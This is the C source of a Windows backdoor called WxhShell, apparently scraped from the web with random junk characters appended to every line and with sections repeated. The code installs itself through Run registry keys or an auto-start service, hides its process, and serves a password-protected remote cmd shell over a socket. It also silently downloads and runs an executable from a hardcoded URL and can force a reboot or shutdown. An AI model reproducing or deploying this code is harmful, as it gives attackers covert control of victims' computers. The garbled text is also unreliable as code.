    if(Boot(SHUTDOWN)) 3i4m!g5Z?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >f-RzQ k  
    else { ER[$TH&  
    closesocket(wsh); 2VX9FDrnk  
    ExitThread(0); 60e{]}Z  
    } DR]oK_  
    break; d$E>bo-\   
    } T?jN/}qg  
  // 获取shell tO1k2<Z"Y&  
  case 's': { .A6pPRy e  
    CmdShell(wsh); 9asA-'fZ  
    closesocket(wsh); (sH4 T>  
    ExitThread(0); 9U3}_  
    break; l>BM}hS  
  } OS>%pgv  
  // 退出 #hu`X6s"  
  case 'x': { 83#<Yxk~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); | "M1+(k7  
    CloseIt(wsh); Ytqx 0  
    break; 2lN0Sf@  
    } [ws;|n h  
  // 离开 I.~=\%Z {  
  case 'q': { ,qV7$u  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); loBW#>  
    closesocket(wsh); QC] <`!  
    WSACleanup(); zJUT<%[U  
    exit(1); +~,q"6  
    break; )7P>Hj  
        } *g:Dg I 2  
  } Gb"kl.j  
  } Y=<zR9f`  
E6 T=lwOZ  
  // 提示信息 2pSp(@N3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ajM\\a?  
} #\_FSr fX  
  } K9nW"0>  
!Zc#E,  
  return; B7[#z{8'#  
} A%&lW9z7  
~rXLb:  
// shell模块句柄 0Am\02R.C,  
int CmdShell(SOCKET sock) Y(T$k9%}+  
{ rF{,]U9`  
STARTUPINFO si; auY?Cj'"fs  
ZeroMemory(&si,sizeof(si)); ]1h9:PF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |A0U 3$S=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ajkpU.6E:  
PROCESS_INFORMATION ProcessInfo; `m"K_\w=/  
char cmdline[]="cmd"; wk^$DM/KJ)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \]S)PDqR  
  return 0; BPOT!-  
} <@4V G  
).Iifu|ks  
// 自身启动模式 am| 81)|a  
int StartFromService(void) 8QI+O`  
{ dV*9bDkM/  
typedef struct ]a*26AbU+  
{ 20Jlf?  
  DWORD ExitStatus; L$,Kdpj  
  DWORD PebBaseAddress; cmd7-2  
  DWORD AffinityMask; "s`#` '  
  DWORD BasePriority; *kj+6`:CPs  
  ULONG UniqueProcessId; I.SMn,N  
  ULONG InheritedFromUniqueProcessId; GFnwj<V+{  
}   PROCESS_BASIC_INFORMATION; m5P@F@  
n#4T o;CS  
PROCNTQSIP NtQueryInformationProcess; z$/s` |]  
kaECjZ _&+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o##!S6:A  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E=,fdyj.  
P/k#([:2  
  HANDLE             hProcess; G \$x.  
  PROCESS_BASIC_INFORMATION pbi; ;xai JJK{  
FysIN~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Gsm.a  
  if(NULL == hInst ) return 0; u:wf :^  
<<@F{B7h  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ca/N'|}^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]4lC/ &nm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XF@34b5(  
DoICf1  
  if (!NtQueryInformationProcess) return 0; [8acan+ 2l  
9sv#TT5V  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &=In  
  if(!hProcess) return 0; ,WoV)L'?  
5pff}Ru`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jF#Dc[*  
d@Wze[M?0  
  CloseHandle(hProcess); }p8iq  
mK^E@uxN  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6J -=6t|  
if(hProcess==NULL) return 0; \t=#MzjR  
.^ba*qb`{  
HMODULE hMod; 85A7YraL  
char procName[255]; c;#gvE  
unsigned long cbNeeded; 1k$5'^]^9]  
g<8Oezi 65  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); OU?.}qc<wE  
UdpuQzV<4`  
  CloseHandle(hProcess); T*(mi{[T  
;j<#VS-]  
if(strstr(procName,"services")) return 1; // 以服务启动 ? Z2`f6;W4  
j5~~%  
  return 0; // 注册表启动 8\?H`NN  
} Z:,`hW*A6  
}+)q/]%  
// 主模块 e%=SgXl2t  
int StartWxhshell(LPSTR lpCmdLine) |`AJP  
{ g-/ }*m l  
  SOCKET wsl; , $cpm=1  
BOOL val=TRUE; %T}*DC$&S  
  int port=0; oC3W_vH.%  
  struct sockaddr_in door; 'PTQ S,E  
2frwU~y  
  if(wscfg.ws_autoins) Install(); Ju"c!vu~  
sP>-k7K.  
port=atoi(lpCmdLine); JE eXoGKd  
2LCOB&-Ww  
if(port<=0) port=wscfg.ws_port; S++jwP  
d^5x@E_Td  
  WSADATA data; nM!_C-yX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $?;)uoAg  
L3*HgkQQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d-H03F@N  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e=[@HVr   
  door.sin_family = AF_INET; hN\Q&F!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xo!2 GPD.  
  door.sin_port = htons(port); Y7')~C`up^  
`"#hhKG  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 60xL.Z   
closesocket(wsl); !2.eJ)G  
return 1; -^< t%{d  
} PJ<9T3Fa  
#w!ewCvt  
  if(listen(wsl,2) == INVALID_SOCKET) { *}>)E]O@  
closesocket(wsl); =8Z-ORW51  
return 1; jK{qw  
} 5YgT*}L+,  
  Wxhshell(wsl); ZdT-  
  WSACleanup(); 4Q,|7@  
@J'tPW<$  
return 0; 2r@9|}La  
sy(.p^Z  
} ]L k- -\  
e?KzT5j:  
// 以NT服务方式启动 fY|[YPGO^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \ #la8,+9  
{ nJwP|P_  
DWORD   status = 0; MG^YT%f  
  DWORD   specificError = 0xfffffff; FA%V>&;`  
UC.kI&A  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4)p ID`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,@zw  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,}l|_GGj  
  serviceStatus.dwWin32ExitCode     = 0; ;Qq7@(2y  
  serviceStatus.dwServiceSpecificExitCode = 0; xO4""/ n  
  serviceStatus.dwCheckPoint       = 0; oE,TA2  
  serviceStatus.dwWaitHint       = 0; 1So`]N4  
R.YUUXT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sg4(@>  
  if (hServiceStatusHandle==0) return; nZEew .T:6  
m;ju@5X  
status = GetLastError(); R_ )PbFw  
  if (status!=NO_ERROR) FgMQ=O2  
{ xZVZYvC,t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $dsLU5]1o  
    serviceStatus.dwCheckPoint       = 0; /RWD\u<l  
    serviceStatus.dwWaitHint       = 0; 4rpry@1  
    serviceStatus.dwWin32ExitCode     = status; Fv:x>qZr@  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^Iqu^n?2.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); equi26jhr  
    return; y=AF EP  
  } E *782>  
G\~?.s|^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zd{sw}  
  serviceStatus.dwCheckPoint       = 0; _.I58r  
  serviceStatus.dwWaitHint       = 0; dt/-0~U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "@t bm[  
} /bLL!nD=^  
BQB<+o'  
// 处理NT服务事件,比如:启动、停止   Xi w  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ny2bMj.o  
{ `$vf9'\+  
switch(fdwControl) #L&/o9|  
{ ~6+>2|wIS  
case SERVICE_CONTROL_STOP: ^4et; F%  
  serviceStatus.dwWin32ExitCode = 0; ]&tcocq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j' b0sve|?  
  serviceStatus.dwCheckPoint   = 0; {e0(M*u  
  serviceStatus.dwWaitHint     = 0; z|zEsDh;  
  { Q(4~r+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  %\~U>3Q  
  } . "7-f]!  
  return; G9@5 !-  
case SERVICE_CONTROL_PAUSE: ^ ~dC&!D  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3Z7gPU!H=  
  break; d ]jF0Wx*  
case SERVICE_CONTROL_CONTINUE: 3EE_"}H>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; t[MM=6|Wb  
  break; "6v_<t`q"  
case SERVICE_CONTROL_INTERROGATE: alBnN<UM  
  break; 3Zwhv+CP[  
}; _9?v?mL5;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5f2=`C0_  
}  \+:`nz3m  
p$` ^A  
// 标准应用程序主函数 ]@}o"Td  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t. DnF[  
{ >;%LW} %  
b1%w+*d<z  
// 获取操作系统版本 [ u ^/3N  
OsIsNt=GetOsVer(); +-|}<mq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); XD80]@\za  
9Q\RCl_1  
  // 从命令行安装 F)@zo/u5L  
  if(strpbrk(lpCmdLine,"iI")) Install(); *e:2iM)8~  
4 []!Km  
  // 下载执行文件 e*d lGK3l  
if(wscfg.ws_downexe) { A+FQmLS  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X1BqN+=@9  
  WinExec(wscfg.ws_filenam,SW_HIDE); Dn#UcMO>W  
} O9N+<sU=X  
C 'S_M@I=  
if(!OsIsNt) { TP)o0U  
// 如果时win9x,隐藏进程并且设置为注册表启动 j,z)x[3}  
HideProc(); XXeDOrb  
StartWxhshell(lpCmdLine); v9(N}hoP  
} ,uO_C(G/i  
else MPYYTQ1FB  
  if(StartFromService()) _xnJfW_  
  // 以服务方式启动 >ul&x!?@  
  StartServiceCtrlDispatcher(DispatchTable); !(3[z>  
else rje;Bf  
  // 普通方式启动 '2rSX[$ tf  
  StartWxhshell(lpCmdLine); uA cvUN-@  
9E|QPT  
return 0; :^FH.6}x  
} 5r d t  
I*/:rb  
!)05,6WQ  
C:f^&4 3  
=========================================== _,I~1"  
LvU/,.$  
3Q2NiYg3  
@moaa}1  
Ak$9\Sl  
/UaQ 2h\  
" $-<yX<.  
k0TQFx.A  
#include <stdio.h> ZT`" {#L  
#include <string.h> MJa` 4[/  
#include <windows.h> "#iO{uMWb  
#include <winsock2.h> TJB4N$-}A  
#include <winsvc.h> eKU4"XTk  
#include <urlmon.h> Oi{J} 2U  
K7/&~;ZwT  
#pragma comment (lib, "Ws2_32.lib") P2U4,?_e  
#pragma comment (lib, "urlmon.lib") JIc9csr:b  
P]L%$!g  
#define MAX_USER   100 // 最大客户端连接数 $#wi2Ve=6b  
#define BUF_SOCK   200 // sock buffer O"_QDl<ya  
#define KEY_BUFF   255 // 输入 buffer Lmw)Ts>  
A{\DzUV9,  
#define REBOOT     0   // 重启 [g{fz3 O6  
#define SHUTDOWN   1   // 关机 _^!C4?2!  
$XKUw"%  
#define DEF_PORT   5000 // 监听端口 `V.tqZF  
?DnQU"_$  
#define REG_LEN     16   // 注册表键长度 ~bis!(}p-  
#define SVC_LEN     80   // NT服务名长度 >4HB~9dKU  
cBHUa}:  
// 从dll定义API K)h<#F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Wu l8ej:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %{me<\(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f/Z-dM\e  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vq@"y%C4  
"u{ymJ]t  
// wxhshell配置信息 E;"VI2F  
struct WSCFG { u!fZ>kS  
  int ws_port;         // 监听端口 )ub!tm  
  char ws_passstr[REG_LEN]; // 口令 {3!A \OR  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;#*.@Or@Ah  
  char ws_regname[REG_LEN]; // 注册表键名 `}8)P#  
  char ws_svcname[REG_LEN]; // 服务名 '%YTM N@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0t*PQ%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 '8I=Tn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7dlMDHp\Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rERtOgi  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =CL,+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 psS^  
$-E<{   
}; "'>fTk_  
ONc#d'-L  
// default Wxhshell configuration O_5;?$[m  
struct WSCFG wscfg={DEF_PORT, e0#{'_C  
    "xuhuanlingzhe", DnN+W  
    1, "k),;1  
    "Wxhshell", j}8^gz]  
    "Wxhshell", }Fu2%L>  
            "WxhShell Service", NCm=l  
    "Wrsky Windows CmdShell Service", 472'P  
    "Please Input Your Password: ", H 'nLC,  
  1, 9mpQusM  
  "http://www.wrsky.com/wxhshell.exe", [yRqSB  
  "Wxhshell.exe" lHu/pSu@k  
    }; 9(bbV5}  
GW9,%}l^;  
// 消息定义模块 'n?"f|G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w}29#F\]R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \`8F.oZ^)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {4%ddJn[.)  
char *msg_ws_ext="\n\rExit."; FE06,i\{  
char *msg_ws_end="\n\rQuit."; ~0vNs2D,S  
char *msg_ws_boot="\n\rReboot..."; &3*r-9BZ  
char *msg_ws_poff="\n\rShutdown..."; )F0Q2P1I  
char *msg_ws_down="\n\rSave to "; B\`${O(  
cL"Ral-qB  
char *msg_ws_err="\n\rErr!"; 5+)_d%v=6!  
char *msg_ws_ok="\n\rOK!"; O /h1ew  
QKoJxjR=^  
char ExeFile[MAX_PATH]; T$V8 n_;  
int nUser = 0; mrVN&.  
HANDLE handles[MAX_USER]; fo I:`]2"*  
int OsIsNt; V0gu0+u~R  
W5&KmA  
SERVICE_STATUS       serviceStatus; (c[DQSj  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <F| S<\Y.  
*Ym+xu_5  
// 函数声明 ?1X7jn`,+  
int Install(void); 2%]#rZ  
int Uninstall(void); `Cu9y+t  
int DownloadFile(char *sURL, SOCKET wsh); . ;D'  
int Boot(int flag); ^brh\M,:@  
void HideProc(void); d~b @F&mf  
int GetOsVer(void); AUl[h&s  
int Wxhshell(SOCKET wsl); Q2!RFtXV  
void TalkWithClient(void *cs); Q%t _Epe  
int CmdShell(SOCKET sock); wJ7Fnj>u%  
int StartFromService(void); ASNo6dP 7  
int StartWxhshell(LPSTR lpCmdLine); YDEb MEMd/  
*#'&a(h B!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >SD?MW 1E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v\XO?UEJ2  
Xd&oERJj  
// 数据结构和表定义 K%/g!t)  
SERVICE_TABLE_ENTRY DispatchTable[] = Ge76/T%{Q  
{ "(:8 $Fb  
{wscfg.ws_svcname, NTServiceMain}, {_4zm&  
{NULL, NULL} mQtOx  
}; NV`7VYU  
Btc[  
// 自我安装 "VAbUs  
int Install(void) UD5f+,_;  
{ /{Z<!7u;U  
  char svExeFile[MAX_PATH]; 2{L[D9c/6  
  HKEY key; QmsS,Zljo  
  strcpy(svExeFile,ExeFile); jgw+c3^R_  
k6_OP]  
// 如果是win9x系统,修改注册表设为自启动 ITjg]taD  
if(!OsIsNt) { "%=K_WJ?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4o@^._-R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Vb~;"WABo  
  RegCloseKey(key); l +O\oD?-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b28C (  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AE%zqvp>  
  RegCloseKey(key); ' PmBNT  
  return 0; ~hU^5R-%  
    } 'W[Nr  
  } CWnRRZ}r  
} JZD&u6tB   
else {  c$)!02  
zM'2opiUY  
// 如果是NT以上系统,安装为系统服务 gac/%_-HH7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'Ub\8<HfJU  
if (schSCManager!=0) ]tEH`Kl  
{ (DTkK5/%  
  SC_HANDLE schService = CreateService IPnx5#eB  
  ( Ly6) ,[q~  
  schSCManager, _Tma1 ~Gq  
  wscfg.ws_svcname, 8;Df/ %  
  wscfg.ws_svcdisp, AT I2  
  SERVICE_ALL_ACCESS, <P c;8[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jt&rOPL7  
  SERVICE_AUTO_START, 4eS(dPI0  
  SERVICE_ERROR_NORMAL, L4Si0 K  
  svExeFile, |C\XU5}  
  NULL, m pM,&7}  
  NULL, y Xi$w.gr  
  NULL, 2iWxx:e  
  NULL, "J3n_3+  
  NULL H=_k|#/  
  ); 4)d#dy::\  
  if (schService!=0) X(K5>L>  
  { +/8KN  
  CloseServiceHandle(schService); @X#e  
  CloseServiceHandle(schSCManager); OlYCw.Zu  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z%L\EP;o}  
  strcat(svExeFile,wscfg.ws_svcname); 1=Q3WMT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { IZ+ZIR@}ci  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,SoqVboRl  
  RegCloseKey(key); &n& ndq  
  return 0; QdP)-Fx  
    } ro@`S:  
  } @*~cmf&FIQ  
  CloseServiceHandle(schSCManager); C.{z+  
} n0=[N'Tw3  
} >)iCKx  
|",/  
return 1; v iM6q<Ht  
} VW\~OH  
/%h<^YDBf  
// 自我卸载 ITEd[ @^d  
int Uninstall(void) :8Jn?E (36  
{ >*[Bq;  
  HKEY key; 0D48L5kH#'  
/9 soUt  
if(!OsIsNt) { _cXLQ)-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w]Vd IS  
  RegDeleteValue(key,wscfg.ws_regname); z T#j.v  
  RegCloseKey(key); rfc;   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KN zm)O  
  RegDeleteValue(key,wscfg.ws_regname); iY4FOt7\  
  RegCloseKey(key);  Q ,)}t  
  return 0; )I9Wa*I  
  } x-ShY&k  
} s4Z5t$0|  
} -<WQ>mrB&  
else { %wS5m#n  
Wq]Lb:&{a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -OV!56&  
if (schSCManager!=0) hKYA5]  
{ JGKiVBN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IH0qx_;P&  
  if (schService!=0) BF>3CW7  
  { 3 ~^}R  
  if(DeleteService(schService)!=0) { &5F@u IA  
  CloseServiceHandle(schService); 7\1bq&a<  
  CloseServiceHandle(schSCManager); @-Js)zcl q  
  return 0; m>@ *-*8k  
  } O&u[^s/^  
  CloseServiceHandle(schService); a).bk!G  
  } +MP`iuDO  
  CloseServiceHandle(schSCManager); EBPm7{&0|  
} hM @F|t3  
} ,V2,FoJ 9  
r(QjVLjj`k  
return 1; rN%aP-sa<  
} 2Aq%;=+*  
X"qC&oZmf  
// 从指定url下载文件 :TzHI    
int DownloadFile(char *sURL, SOCKET wsh) d*xKq"+ &E  
{ 6P KH%  
  HRESULT hr; 4RV5:&ALLS  
char seps[]= "/"; o Z#4<7K  
char *token; tMWsgK.B  
char *file; MH,vn</Uw  
char myURL[MAX_PATH]; @ \(*pa  
char myFILE[MAX_PATH]; Dk XB  
RwC1C(ZP  
strcpy(myURL,sURL); #(G#O1+  
  token=strtok(myURL,seps); e8"?Qm7 J  
  while(token!=NULL) GY%48}7  
  { G&/RJLX|w  
    file=token; l|P(S(ikh  
  token=strtok(NULL,seps); vg5 ;F[e  
  } 8}kY^"*&X  
Pe_iA_  
GetCurrentDirectory(MAX_PATH,myFILE); A<zSh }eh6  
strcat(myFILE, "\\"); =c,m)\u/8  
strcat(myFILE, file); |tU4(hC  
  send(wsh,myFILE,strlen(myFILE),0); JtrLTo  
send(wsh,"...",3,0); ,U#$Qb 12  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w1+xlM,,9  
  if(hr==S_OK) ]"< ` ^  
return 0; \Q+<G-Kb.  
else Gmi$Nl!~  
return 1; oX9rpTi  
wv8WqYV  
} s innHQ  
\)pT+QxZ  
// 系统电源模块 H1FSN6'  
int Boot(int flag) nRmZu\(Ow|  
{ Dog Tj  
  HANDLE hToken; 6R+m;'  
  TOKEN_PRIVILEGES tkp; $(ugnnJ*  
Jn_;  cN  
  if(OsIsNt) { *hp3w  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W:^\Oe5&a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %usy`4 2  
    tkp.PrivilegeCount = 1; O)qedy*&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p9[J 9D3~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); > T,^n {_v  
if(flag==REBOOT) { 0b0.xz\~U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &?=UP4[oif  
  return 0; csV.AN'obq  
} ?>V4pgGCE  
else { dM{xPpnx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~97T0{E3  
  return 0; T _O|gU  
} 4$oX,Q`#  
  } 8%s_~Yc  
  else { A3C#w J  
if(flag==REBOOT) { tU02t#8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !dVth)UV  
  return 0; 9I:H=5c  
} {U&*8Q(/  
else { ?th`5K30  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) c:Tw.WA  
  return 0; FbVdqO  
}  'mz _JM  
} 0?]*-wvp  
7ZbnG@s7  
return 1; > !thxG/_  
} {]aB3  
&n.7~C]R  
// win9x进程隐藏模块 \h DH81L  
void HideProc(void) n"'1.  
{ Htseu`>_$  
0i2ZgOJ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DbdxHuKa>  
  if ( hKernel != NULL ) !YlyUHD  
  { jj,Y:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); FfnW  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 821@qr|`e  
    FreeLibrary(hKernel); mJaWzR  
  } }];8v+M  
y5L%_ {n  
return; ?3wEO>u  
} URq{#,~CT  
HY.?? 5MH  
// 获取操作系统版本 L=u>}?!,Fj  
int GetOsVer(void) UC)-Fd  
{ T&Y?IE}  
  OSVERSIONINFO winfo; 3_JxpQg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E"e<9  
  GetVersionEx(&winfo); R&13P&:g  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v*+.;60_  
  return 1; _e<3 g9bj  
  else p.9VyM  
  return 0; beyC't  
} Farcd!}  
/`YHPeXu  
// 客户端句柄模块 #\kYGr-G)  
int Wxhshell(SOCKET wsl) o7N3:)  
{ J;pn5k~3  
  SOCKET wsh; K4Mv\!Q<8  
  struct sockaddr_in client; d7+YCi?  
  DWORD myID;  }xcEWC\  
Fh u(u  
  while(nUser<MAX_USER) t =ErJ  
{ LEoL6ga  
  int nSize=sizeof(client); N`7) 88>w  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); FpjpsD~ Qu  
  if(wsh==INVALID_SOCKET) return 1; >}` q4U6$  
wXv\[z L`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H@$\SUc{  
if(handles[nUser]==0) a)'^'jm)4  
  closesocket(wsh); v%|^\A"V  
else v%(2l|M  
  nUser++; `}/&}Sp  
  } VY)!bjW.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); FWNO/)~t  
c!Gnd*!?-  
  return 0; <(rf+Ou>I  
} -I7"9}j3  
-,NiSh}A  
// 关闭 socket 1s4+a^ &  
void CloseIt(SOCKET wsh) u 9Wi@sO#  
{ :jB8Q$s  
closesocket(wsh); iV5x-G`  
nUser--; H-GlCVq~  
ExitThread(0); X kZ82w#b  
} @G  0k+  
RI_:~^nO{r  
// 客户端请求句柄 |EuWzhNAO  
void TalkWithClient(void *cs) tgn_\-+  
{ @#q>(Ox%  
|A".Mo_5  
  SOCKET wsh=(SOCKET)cs; IP'gN-#i  
  char pwd[SVC_LEN]; Wpo:'?!(M^  
  char cmd[KEY_BUFF]; P!q U8AJkt  
char chr[1]; <^?64  
int i,j; rWKc,A[  
Zi47)8  
  while (nUser < MAX_USER) { = 8F/]8_  
@[M5$,"  
if(wscfg.ws_passstr) { &]gw[ `  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v=15pW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {64od0:T  
  //ZeroMemory(pwd,KEY_BUFF); *i#m5f}  
      i=0; ~W'>L++  
  while(i<SVC_LEN) { FCv3ZF?K  
f5jxF"oGNo  
  // 设置超时 W]p)}#FR  
  fd_set FdRead; ]J\tosTi  
  struct timeval TimeOut; #Jt9U1WbF  
  FD_ZERO(&FdRead); _idTsd:\  
  FD_SET(wsh,&FdRead); au'Zjj/Ai5  
  TimeOut.tv_sec=8; Nq|b$S[4  
  TimeOut.tv_usec=0;  FVOR~z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F;l*@y Tq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s u]x  
5\Sm^t|Tx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Iuk!A?XV  
  pwd=chr[0]; 0q`n]NM  
  if(chr[0]==0xd || chr[0]==0xa) { t><AaYij_  
  pwd=0; U5 ~L^  
  break; r=YprVX  
  } ,TY&N-  
  i++; #w3cImgp2  
    } ||TKo967]  
ng $`<~=)\  
  // 如果是非法用户,关闭 socket 2aiZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4 %do.D*  
} R(Y4nw+Y-  
i,jPULzyjk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t>[K:[0U  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [ix45xu7  
5(kRFb'31F  
while(1) { >, 22@4  
w@U`@})r.  
  ZeroMemory(cmd,KEY_BUFF); __jFSa`at  
z.itVQs$I  
      // 自动支持客户端 telnet标准   H6Q1r[(B  
  j=0; 0^htwec!  
  while(j<KEY_BUFF) { zx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }{<@wE%s  
  cmd[j]=chr[0]; fyat-wbb  
  if(chr[0]==0xa || chr[0]==0xd) { nJH+P!AC  
  cmd[j]=0; rdd%"u+  
  break; /8 /2#`3R  
  } OEc$ro=m*  
  j++; <=KtRE>$  
    } lqPzDdC^>  
^b-o  
  // 下载文件 =#qf0  
  if(strstr(cmd,"http://")) { *3_@#Uu7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `8$gaA*  
  if(DownloadFile(cmd,wsh)) lc%2fVG-e  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); C^vB&3ghi  
  else 'yG9Rt  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F)x^AJi e  
